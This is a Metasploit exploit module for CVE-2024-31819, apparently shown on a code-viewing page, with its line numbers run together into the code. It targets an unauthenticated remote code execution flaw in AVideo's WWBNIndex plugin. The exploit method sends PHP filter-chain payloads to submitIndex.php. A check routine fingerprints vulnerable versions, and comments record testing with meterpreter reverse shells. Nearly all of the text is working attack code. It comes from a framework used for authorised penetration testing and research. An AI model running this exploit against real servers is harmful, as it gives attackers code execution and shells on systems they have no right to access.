Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/avideo_wwbnindex_unauth_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HTTP::PhpFilterChain10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'AVideo WWBNIndex Plugin Unauthenticated RCE',17'Description' => %q{18This module exploits an unauthenticated remote code execution (RCE) vulnerability19in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the20`submitIndex.php` file, where user-supplied input is passed directly to the `require()`21function without proper sanitization. By exploiting this, an attacker can leverage the22PHP filter chaining technique to execute arbitrary PHP code on the server. This allows23for the execution of commands and control over the affected system. The exploit is24particularly dangerous because it does not require authentication, making it possible25for any remote attacker to exploit this vulnerability.26},27'Author' => [28'Valentin Lobstein'29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2024-31819'],33['URL', 'https://github.com/WWBN/AVideo'],34['URL', 'https://chocapikk.com/posts/2024/cve-2024-31819']35],36'Platform' => ['php', 'unix', 'linux', 'win'],37'Arch' => [ARCH_PHP, ARCH_CMD],38'Targets' => [39[40'PHP In-Memory',41{42'Platform' => 'php',43'Arch' => ARCH_PHP44# tested with php/meterpreter/reverse_tcp45}46],47[48'Unix In-Memory',49{50'Platform' => ['unix', 'linux'],51'Arch' => ARCH_CMD52# tested with cmd/linux/http/x64/meterpreter/reverse_tcp53}54],55[56'Windows In-Memory',57{58'Platform' => 'win',59'Arch' => ARCH_CMD60# tested with cmd/windows/http/x64/meterpreter/reverse_tcp61}62],63],64'Privileged' => false,65'DisclosureDate' => '2024-04-09',66'Notes' => {67'Stability' => [CRASH_SAFE],68'Reliability' => [REPEATABLE_SESSION],69'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]70},71'DefaultOptions' => {72'SSL' => true,73'RPORT' => 443,74'FETCH_WRITABLE_DIR' => '/tmp'75}76)77)78end7980def exploit81php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"82filter_payload = generate_php_filter_payload(php_code)83res = send_request_cgi(84'method' => 'POST',85'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),86'ctype' => 'application/x-www-form-urlencoded',87'data' => "systemRootPath=#{filter_payload}"88)89print_error("Server returned #{res.code}. Successful exploit attempts should not return a response.") if res&.code90end9192def check93res = send_request_cgi({94'uri' => normalize_uri(target_uri.path, 'index.php'),95'method' => 'GET',96'follow_redirect' => true97})98return CheckCode::Unknown('Failed to connect to the target.') unless res99return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200100101version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)102return CheckCode::Unknown('Unable to extract AVideo version.') unless version_match && version_match[1]103104version = Rex::Version.new(version_match[1])105plugin_check = send_request_cgi({106'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),107'method' => 'GET'108})109unless plugin_check&.code == 200110CheckCode::Safe('Vulnerable plugin WWBNIndex was not detected')111end112113if version.between?(Rex::Version.new('12.4'), Rex::Version.new('14.2'))114return CheckCode::Appears("Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.")115end116117CheckCode::Safe("Detected non-vulnerable AVideo version: #{version}")118end119end120121122